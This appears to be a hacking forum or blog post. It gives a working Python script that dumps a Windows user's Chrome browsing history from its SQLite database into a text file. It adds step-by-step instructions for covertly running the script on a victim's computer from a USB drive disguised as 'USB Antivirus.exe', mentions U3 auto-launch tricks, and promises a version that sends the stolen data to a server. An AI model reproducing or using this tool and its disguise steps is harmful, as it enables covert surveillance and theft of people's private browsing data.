Code: Select all
import os
import operator
import sqlite3
data_path = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"
files = os.listdir(data_path)
history_db = os.path.join(data_path, 'history')
c = sqlite3.connect(history_db)
cursor = c.cursor()
select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor.execute(select_statement)
results = cursor.fetchall()
defile = open("gg.txt","a+")
for t in results:
line = ' '.join(str(x) for x in t)
defile.write(line + '\n')
defile.close()
So following are the steps to hack your victim chrome history !
1.Copy the downloaded executable to your USB flash drive (pen drive).
2.Rename the downloaded "history.exe" to something like "USB Antivirus.exe" (so the victim never notice the executable as a threat)
3.Now plug the USB flash drive to the target computer
4.Run the executable.
5.After a few seconds remove the USB flash drive.
6.Now Insert the USB flash drive to your computer , now you can see the file that containing google chrome browser history.
You can also use windows AutoRun feature ; but windows removed this feature from windows xp considering it as a critical security threat.
Windows XP refined this feature with an “AutoPlay” function. When you inserted a disc, USB flash drive, or another type of removable media device, Windows will examine its contents and suggest actions to you , but it won't start any applications automatically!
but still you have a chance to go with U3 (U3 is a proprietary platform for auto launching applications from a USB drive. It is only able to auto-start because the specially formatted drives contain a partition that tricks the computer into thinking a CD was inserted)........!
Maybe in another post i can show you how to implement this hack with U3 or implement with CD/DVD and send all the information to a specific server...!